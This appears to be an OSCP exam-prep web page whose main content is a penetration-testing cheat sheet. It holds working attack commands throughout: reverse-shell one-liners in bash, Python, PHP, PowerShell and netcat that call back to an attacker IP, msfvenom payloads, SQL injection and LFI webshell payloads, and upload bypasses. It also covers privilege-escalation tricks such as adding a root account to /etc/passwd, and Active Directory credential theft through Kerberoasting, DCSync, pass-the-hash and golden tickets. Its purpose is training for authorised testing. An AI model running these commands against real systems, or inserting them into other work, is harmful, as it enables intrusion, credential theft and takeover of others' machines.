OSCP
OffSec

Offensive Security Certified Professional

Advanced 24hr practical exam + written report Pass: 70 points (passing) $1,499

Industry gold standard for penetration testing. Requires real exploitation of live machines in 24 hours. No multiple choice.

Official Page
IssuerOffSec
Format24hr practical exam + written report
Duration48 hours total
Pass Score70 points (passing)
Valid For3y
Cheat Sheets
Enumeration & Recon

Nmap — Core Scans

# Quick scan
nmap -T4 -F 10.10.10.x

# Full TCP + version + default scripts
nmap -sC -sV -p- --open -oA full 10.10.10.x

# UDP top 100
nmap -sU --top-ports 100 -oA udp 10.10.10.x

# Vuln scripts
nmap --script vuln -p 80,443,445 10.10.10.x

# OS detection
nmap -O --osscan-guess 10.10.10.x

# Firewall evasion
nmap -f -T2 --data-length 200 -D RND:10 10.10.10.x

HTTP/HTTPS Enumeration

# Directory brute-force
gobuster dir -u http://10.10.10.x -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -x php,html,txt,bak -o gobuster.txt

# ffuf with filter
ffuf -u http://target/FUZZ -w /usr/share/seclists/Discovery/Web-Content/big.txt -fc 404 -t 50

# Virtual host discovery
ffuf -u http://10.10.10.x -H "Host: FUZZ.target.com" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -fc 200

# Tech fingerprint
whatweb http://10.10.10.x
nikto -h http://10.10.10.x -o nikto.txt

# WordPress
wpscan --url http://target --enumerate u,p,t --api-token TOKEN

SMB Enumeration (Ports 139/445)

# Full enum
enum4linux -a 10.10.10.x

# Share listing
smbclient -L //10.10.10.x -N
smbmap -H 10.10.10.x -u null

# CrackMapExec
cme smb 10.10.10.x --shares
cme smb 10.10.10.x -u '' -p '' --shares
cme smb 10.10.10.x -u user -p pass --sam

# Nmap SMB scripts
nmap --script smb-vuln* -p 445 10.10.10.x
nmap --script smb-enum-shares,smb-enum-users -p 445 10.10.10.x

# Connect and browse
smbclient //10.10.10.x/share -N
smb: \> recurse ON; prompt OFF; mget *

RPC / LDAP

# RPC null session
rpcclient -U "" -N 10.10.10.x
rpcclient> enumdomusers
rpcclient> enumdomgroups
rpcclient> queryuser 0x3e8
rpcclient> enumprivs

# LDAP anonymous
ldapsearch -x -H ldap://10.10.10.x -b "dc=domain,dc=local" "(objectClass=*)" | head -100
ldapsearch -x -H ldap://10.10.10.x -b "dc=domain,dc=local" "(objectClass=user)" sAMAccountName

# Windapsearch
python3 windapsearch.py --dc-ip 10.10.10.x -U --full

FTP / SMTP / SNMP

# FTP anonymous
ftp 10.10.10.x
# login: anonymous / anonymous
# Then: ls -la; get file.txt; put shell.php

# SMTP user enum
smtp-user-enum -M VRFY -U /usr/share/seclists/Usernames/top-usernames-shortlist.txt -t 10.10.10.x
nc -nv 10.10.10.x 25
VRFY root

# SNMP community strings
onesixtyone -c /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt 10.10.10.x
snmpwalk -v2c -c public 10.10.10.x
snmp-check 10.10.10.x -c public

NFS / MySQL / MSSQL

# NFS
showmount -e 10.10.10.x
mount -t nfs 10.10.10.x:/share /mnt/nfs

# MySQL
mysql -u root -h 10.10.10.x -p
nmap --script mysql-info,mysql-enum,mysql-empty-password -p 3306 10.10.10.x

# MSSQL
nmap --script ms-sql-info,ms-sql-empty-password -p 1433 10.10.10.x
sqsh -S 10.10.10.x -U sa -P password
impacket-mssqlclient domain/user:[email protected]
Always check robots.txt, .git/, .svn/, backup files (*.bak, *.old, *.zip), and source map files (*.js.map) during web enumeration.
Exploitation & Web Attacks

Reverse Shells — One-Liners

# Bash
bash -c 'bash -i >& /dev/tcp/10.10.14.x/4444 0>&1'
bash -c 'bash -i >& /dev/tcp/10.10.14.x/4444 0>&1' &

# Python
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("10.10.14.x",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

# PHP
php -r '$s=fsockopen("10.10.14.x",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

# PowerShell
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.10.14.x',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

# nc (BusyBox without -e)
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.x 4444 >/tmp/f

# msfvenom windows
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.x LPORT=4444 -f exe -o shell.exe

Shell Upgrade

python3 -c 'import pty;pty.spawn("/bin/bash")'
# Then: Ctrl+Z; stty raw -echo; fg; export TERM=xterm

LFI / Path Traversal

# Basic
http://target/page.php?file=../../../../etc/passwd

# PHP wrappers
http://target/page.php?file=php://filter/convert.base64-encode/resource=config.php
http://target/page.php?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4=

# Log poisoning
curl -A "" http://target/
http://target/page.php?file=../../../../var/log/apache2/access.log&cmd=id

# /proc/self/environ
http://target/page.php?file=/proc/self/environ

File Upload Bypass

# Extension bypass
shell.php → shell.php5 / shell.phtml / shell.phar / shell.php.jpg
# Null byte (old PHP)
shell.php%00.jpg

# MIME type spoof (change Content-Type to image/jpeg in Burp)
# Magic bytes: add JPEG header \xff\xd8\xff before PHP code

# .htaccess upload
AddType application/x-httpd-php .jpg
# Then upload shell.jpg

SQL Injection — Manual

# Detection
' OR '1'='1
1' AND SLEEP(5)--

# UNION columns count
1' ORDER BY 3--
1' UNION SELECT NULL,NULL,NULL--

# UNION dump
1' UNION SELECT table_name,2,3 FROM information_schema.tables--
1' UNION SELECT column_name,2,3 FROM information_schema.columns WHERE table_name='users'--
1' UNION SELECT username,password,3 FROM users--

# Time-based blind (MySQL)
1' AND IF(1=1,SLEEP(5),0)--

# sqlmap
sqlmap -u "http://target/page?id=1" --dbs --batch
sqlmap -u "http://target/page?id=1" -D dbname --tables
sqlmap -u "http://target/page?id=1" -D dbname -T users --dump
sqlmap -u "http://target/page?id=1" --os-shell --batch

Buffer Overflow — Methodology

# 1. Find crash offset
msf-pattern_create -l 3000
# Send pattern, note EIP value
msf-pattern_offset -l 3000 -q 396F4338

# 2. Control EIP
python3 -c "print('A'*offset + 'B'*4 + 'C'*(3000-offset-4))"

# 3. Find bad chars (use mona)
!mona bytearray -b "\x00"
# Send all bytes \x01-\xff and compare with mona

# 4. Find JMP ESP
!mona jmp -r esp -b "\x00\x0a\x0d"
# Note address (little-endian)

# 5. Generate shellcode
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.x LPORT=4444 -f python -b "\x00\x0a\x0d"

# 6. Final exploit: padding + JMP_ESP + NOP*16 + shellcode
Always set up a local listener before sending reverse shells: rlwrap nc -lvnp 4444
Privilege Escalation

Linux PrivEsc — Initial Enum

id; whoami; uname -a; cat /etc/os-release
sudo -l
find / -perm -4000 -type f 2>/dev/null          # SUID
find / -perm -2000 -type f 2>/dev/null          # SGID
find / -writable -type f 2>/dev/null | grep -v proc
cat /etc/crontab; ls /etc/cron.*
getcap -r / 2>/dev/null                          # capabilities
env; cat ~/.bashrc ~/.profile /etc/environment
cat /etc/passwd | grep -v nologin | grep -v false
ls -la /home/*/.ssh/                             # SSH keys
find / -name "*.conf" -readable 2>/dev/null | head -20

Linux PrivEsc — Quick Wins

# Writable /etc/passwd
echo 'pwned:$(openssl passwd -1 hacked123):0:0:root:/root:/bin/bash' >> /etc/passwd
su pwned

# Sudo ALL
sudo /bin/bash

# Sudo specific binary → GTFOBins
sudo vim -c ':!/bin/bash'
sudo find / -exec /bin/bash \;
sudo python3 -c 'import os;os.system("/bin/bash")'
sudo nmap --interactive; !sh

# SUID find
find . -exec /bin/sh -p \; -quit

# Cron job path abuse
# If cron runs /opt/run.sh and you can write /opt/run.sh:
echo 'bash -i >& /dev/tcp/10.10.14.x/4444 0>&1' > /opt/run.sh
chmod +x /opt/run.sh

# LD_PRELOAD (if sudo preserves env)
# Write evil .so, sudo LD_PRELOAD=/tmp/evil.so cmd

Windows PrivEsc — Enumeration

whoami /all
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type"
net users; net localgroup administrators
wmic qfe get Caption,Description,HotFixID,InstalledOn   # patches
sc query type= all state= all                            # services
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows"
reg query HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy
accesschk.exe -uwcqv "Authenticated Users" *

Windows PrivEsc — Techniques

# Unquoted service path
wmic service get name,pathname | findstr /i /v "C:\\Windows" | findstr /i /v '\"'
# Place shell.exe in unquoted segment path

# Weak service permissions
accesschk.exe -uwcqv * -accepteula
sc config VulnSvc binpath= "cmd /c net localgroup administrators user /add"
sc stop VulnSvc; sc start VulnSvc

# AlwaysInstallElevated
msfvenom -p windows/shell_reverse_tcp LHOST=x LPORT=4444 -f msi -o shell.msi
msiexec /quiet /qn /i shell.msi

# Token impersonation (SeImpersonatePrivilege)
# PrintSpoofer
PrintSpoofer.exe -i -c cmd
# GodPotato
GodPotato -cmd "cmd /c whoami"
# JuicyPotato (older Windows)
JuicyPotato.exe -l 1337 -p shell.exe -t * -c {CLSID}
Run linpeas.sh on Linux and winpeas.exe on Windows as first step — they catch 95% of common PrivEsc vectors automatically.
Active Directory Attacks

BloodHound Setup

# Linux collector
bloodhound-python -d domain.local -u user -p pass -ns 10.10.10.x -c all --zip
# Or specific
bloodhound-python -d domain.local -u user -p pass -ns dc01 -c DCOnly

# Windows (SharpHound)
.\SharpHound.exe -c All --zipfilename output.zip

# Key BloodHound queries
# Find all domain admins
MATCH (n:User)-[:MemberOf*1..]->(g:Group) WHERE g.name=~ "(?i).*domain admins.*" RETURN n
# Find shortest path to DA
MATCH p=shortestPath((u:User {name:"USER@DOMAIN"})-[*1..]->(g:Group {name:"DOMAIN ADMINS@DOMAIN"})) RETURN p
# Find kerberoastable users
MATCH (u:User {hasspn:true}) RETURN u

Kerberoasting

# Impacket
GetUserSPNs.py domain.local/user:pass -dc-ip 10.10.10.x -request -outputfile hashes.kerberoast

# Rubeus (from Windows)
.\Rubeus.exe kerberoast /outfile:hashes.txt /format:hashcat

# Crack with hashcat
hashcat -m 13100 hashes.kerberoast /usr/share/wordlists/rockyou.txt -r rules/best64.rule

AS-REP Roasting

# Find users without pre-auth (no creds needed)
GetNPUsers.py domain.local/ -dc-ip 10.10.10.x -usersfile users.txt -format hashcat -outputfile asrep.txt

# With credentials
GetNPUsers.py domain.local/user:pass -dc-ip 10.10.10.x -request -format hashcat

# Crack
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt

Pass-the-Hash / Pass-the-Ticket

# PtH with CrackMapExec
cme smb 10.10.10.0/24 -u Administrator -H 'NTLM:HASH' --local-auth

# PtH with impacket
psexec.py domain/[email protected] -hashes :NTLMhash
wmiexec.py domain/[email protected] -hashes :NTLMhash

# PtT with Rubeus
.\Rubeus.exe asktgt /user:admin /rc4:NTLMhash /ptt
.\Rubeus.exe ptt /ticket:ticket.kirbi

DCSync (requires DA or Replication privileges)

# secretsdump all hashes
secretsdump.py domain/Administrator:[email protected]
secretsdump.py domain/[email protected] -hashes :hash

# Mimikatz DCSync
lsadump::dcsync /domain:domain.local /user:krbtgt
lsadump::dcsync /domain:domain.local /all /csv

Golden Ticket

# 1. Get krbtgt hash (DCSync)
secretsdump.py domain/Admin@dc -hashes :hash | grep krbtgt

# 2. Get domain SID
lookupsid.py domain/user:pass@dc | head -3

# 3. Forge ticket (Impacket)
ticketer.py -nthash KRBTGT_HASH -domain-sid S-1-5-21-xxx -domain domain.local Administrator

# 4. Use ticket
export KRB5CCNAME=Administrator.ccache
psexec.py -k -no-pass domain.local/Administrator@dc
Always dump creds from LSASS after gaining admin: cme smb target -u admin -p pass --lsa and secretsdump.py
Pivoting & Tunneling

SSH Tunneling

# Local port forward (access internal:8080 via localhost:8080)
ssh -L 8080:internal_host:8080 user@pivot

# Dynamic SOCKS proxy (proxychains)
ssh -D 1080 user@pivot
# /etc/proxychains.conf: socks5 127.0.0.1 1080

# Remote port forward (expose attacker service on pivot)
ssh -R 4444:127.0.0.1:4444 user@pivot

# Multi-hop tunnel
ssh -L 8080:target2:80 user@pivot1 -J user@pivot1

Chisel (HTTP Tunneling)

# Attacker — start server
./chisel server -p 8888 --reverse

# Pivot host — connect back + create SOCKS
./chisel client 10.10.14.x:8888 R:socks

# Proxychains config
socks5 127.0.0.1 1080

# Port forward only
./chisel server --reverse -p 8888
./chisel client 10.10.14.x:8888 R:8080:internal:8080

ligolo-ng (Layer 3 Tunneling)

# Attacker
./proxy -selfcert -laddr 0.0.0.0:11601
# Victim
./agent -connect 10.10.14.x:11601 -ignore-cert
# In ligolo-ng console:
session; start
# Add route on attacker:
sudo ip route add 172.16.0.0/24 dev ligolo

Socat Port Forward

# Forward pivot:4444 to attacker:4444 (relay shell back)
socat TCP-LISTEN:4444,fork TCP:10.10.14.x:4444 &

# Bind listener to forward to internal
socat TCP-LISTEN:80,fork TCP:192.168.1.x:80 &

Proxychains Usage

# With any tool
proxychains nmap -sT -Pn -p 80,443,445 172.16.1.0/24
proxychains cme smb 172.16.1.x -u user -p pass
proxychains evil-winrm -i 172.16.1.x -u admin -p pass
proxychains python3 GetUserSPNs.py domain/user:pass -dc-ip 172.16.1.5
Always check /etc/proxychains.conf to ensure quiet_mode is set — noisy DNS lookups will slow everything down.